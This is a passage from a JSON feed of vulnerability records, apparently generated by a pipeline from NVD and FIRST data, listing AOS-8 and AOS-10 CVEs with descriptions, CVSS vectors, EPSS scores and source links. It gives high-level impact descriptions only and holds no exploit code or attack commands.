CVE-2026-105014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105014","type":"primary","publishedAt":"2026-10-22T22:17:52.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79876","cveId":"CVE-2026-79876","aliases":[],"kind":"vulnerability","title":"A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information.","summary":"A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, or to interrupt the normal operation of the affected service.","detail":"A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, or to interrupt the normal operation of the affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.050Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79876","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00231,"percentile":0.13871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79876&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79876","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79876","type":"primary","publishedAt":"2026-10-22T19:18:00.050Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79876&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79876, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79875","cveId":"CVE-2026-79875","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls....","summary":"A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.","detail":"A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.943Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79875","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.0023,"percentile":0.1367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79875&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79875","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79875","type":"primary","publishedAt":"2026-10-22T19:17:59.943Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79875&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79875, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79874","cveId":"CVE-2026-79874","aliases":[],"kind":"vulnerability","title":"An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls.","summary":"An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.","detail":"An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.837Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79874","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00244,"percentile":0.1543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79874","type":"primary","publishedAt":"2026-10-22T19:17:59.837Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79873","cveId":"CVE-2026-79873","aliases":[],"kind":"vulnerability","title":"Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.","summary":"Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data on affected devices.","detail":"Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data on affected devices.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.727Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79873","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00244,"percentile":0.1543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79873&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79873","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79873","type":"primary","publishedAt":"2026-10-22T19:17:59.727Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79873&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79873, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79872","cveId":"CVE-2026-79872","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker.","summary":"A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.","detail":"A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.600Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79872","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00556,"percentile":0.46085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79872","type":"primary","publishedAt":"2026-10-22T19:17:59.600Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79871","cveId":"CVE-2026-79871","aliases":[],"kind":"vulnerability","title":"A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information.","summary":"A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10.","detail":"A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.493Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79871","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00313,"percentile":0.24023,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79871","type":"primary","publishedAt":"2026-10-22T19:17:59.493Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79870","cveId":"CVE-2026-79870","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.","summary":"An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, access or manipulate sensitive data, and disrupt network operations.","detail":"An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, access or manipulate sensitive data, and disrupt network operations.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.390Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79870","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.0027,"percentile":0.18981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79870","type":"primary","publishedAt":"2026-10-22T19:17:59.390Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79869","cveId":"CVE-2026-79869","aliases":[],"kind":"vulnerability","title":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.","summary":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.","detail":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.280Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79869","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00294,"percentile":0.21767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79869","type":"primary","publishedAt":"2026-10-22T19:17:59.280Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79868","cveId":"CVE-2026-79868","aliases":[],"kind":"vulnerability","title":"Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls.","summary":"Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data, leading to complete compromise of the affected system.","detail":"Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data, leading to complete compromise of the affected system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.177Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79868","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.0027,"percentile":0.18981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79868","type":"primary","publishedAt":"2026-10-22T19:17:59.177Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 